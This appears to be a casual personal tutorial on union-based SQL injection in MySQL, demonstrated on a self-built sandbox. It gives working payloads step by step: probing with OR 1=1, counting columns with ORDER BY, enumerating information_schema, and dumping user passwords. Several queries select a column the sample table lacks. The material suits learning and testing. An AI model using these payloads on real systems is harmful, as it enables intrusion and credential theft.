SQL injection walk-through

Live demo: http://sqlfiddle.com/#!2/8cd47/23

Oh I heard you like SQL injection so here is a mini guide just so I don't have to google again or remind myself whatever the fuck I am reading.

Step -1: Setting up..

CREATE TABLE users (
  id int,
  username varchar(20),
  password varchar(255),
  email varchar(60)
);

INSERT into users values (0, 'user1', 'password1', '[email protected]');
INSERT into users values (1, 'user2', 'password2', '[email protected]');
INSERT into users values (2, 'user3', 'password3', '[email protected]');
INSERT into users values (3, 'user4', 'password4', '[email protected]');
INSERT into users values (4, 'user5', 'password5', '[email protected]');
INSERT into users values (5, 'user6', 'password6', '[email protected]');


CREATE TABLE articles (
  id int,
  title varchar(255),
  body TEXT
);

INSERT into articles values (0, 'First article', 'Hello\n');
INSERT into articles values (1, 'Second article', 'Okay\n');

Tested on MysQL.

Step 0: Is this site vulnerable to SQL injection?

SELECT username, email, nickname from users where username='x' AND 1=1;
SELECT username, email, nickname from users where username='x' OR 1=1;
SELECT username, email, nickname from users where username='x' OR 1=2;

You should also find out the version of the SQL either by hitting SQL error or using SQL injection to find the database name.

Step 1: find the # of columns are selected in the query

SELECT username, email, nickname from users where username='x' ORDER BY 1;
SELECT username, email, nickname from users where username='x' ORDER BY 2;
SELECT username, email, nickname from users where username='x' ORDER BY 3;

Increment 1 until you hit an error. Suppose ORDER BY 4 returns an error, we know the # of columns actually selected in the SQL statement is 3.

Step 2: locate leak data

SELECT username, email, nickname from users where username='x'
UNION ALL
SELECT "first-1", "second-2", "third-3";

Instead of writing UNION SELECT 1,2,3 which is very common among SQL injection tutorials, I say use named dummy data so we can quickly spot the injection.

The purpose of this is to locate the leak data quickly in the output page.

Step 3: find table name

We want to read or act on the database. If we want the user password, and if we know (in this particular example) that user password is not one of the two columns returned in the query, how the hell do we force SQL to append user password in the output? We can use UNION but that requires us to know a bit about the table we are dealing with.

SELECT username, email, nickname from users where username='x'
UNION
SELECT "first", "table names", group_concat(table_name)
FROM information_schema.tables WHERE table_schema=database();

The list of table names are feteced and returned as the third column in the output. In our case, the list has: articles,users.

Step 4: Find the actual column names

Say this is about user, we see users in the list of table names from the previous output, we now want to find out the actual column names in this table. This way, we can use UNION to select the columns we want (e.g. password) and UNION the result in the output.

SELECT username, email, nickname from users where username='x'
UNION
SELECT "first", "column names", group_concat(column_name)
FROM information_schema.columns WHERE table_name='users'
AND table_schema=database();

The result contains id,username,password,email,nickname. See Note section below for my comment on optimizing this query.

Step 5: Get the stuff we want

I want to get the password. I also want to get all the users out of the databse.

SELECT username, email, nickname from users where username='x'
UNION
SELECT username, email, password
FROM users;

Query `information_schema` takes a while

In particular, querying the column names of a table is really slow on SQLFiddle, took 17078ms!! Sometimes up to 20+ ms.

We can optimize the query. This techqniue is adopted based on 1. Indeed, this is the code we are using in the demo, just so we don't DOS sqlfiddle :(

SELECT username, email, nickname from users where username='x'
UNION
SELECT "first", "column names", group_concat(column_name)
FROM information_schema.columns WHERE table_name='users'
AND table_schema=database();

Basically, we narrow down the schema which created the current database. This optimization reduces the execution time down to 1-5ms on average.

yeukhon/readme.md